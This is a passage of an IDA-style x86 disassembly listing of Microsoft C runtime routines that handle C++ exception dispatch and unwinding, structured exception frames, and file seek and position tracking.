
loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx

loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------

loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE80, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C

loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax

loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894

loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------

loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3

loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3

loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3

loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7

loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------

loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax

loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943

loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52

loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0

loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------

loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h

loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------

loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]

loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A

loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE78
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE7C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE78, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE7C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]

loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------

loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE78, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE7C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------

loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------

loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------

loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------

loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------

loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52

loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh

loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2

loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE84
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------

loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]

loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0

loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D454
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------

loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]

loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0

loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD3A8
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------

loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------

loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------

loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]

loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD3A4
		call	near ptr 2650000h
		nop

loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD160
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDEC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------

loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2780000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		nop
		call	near ptr 269096Bh
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------

loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax

loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------

loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------

loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9

loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh

loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx

loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------

loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD060[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx

loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]

loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------

loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDEC, 16h

loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------

loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------

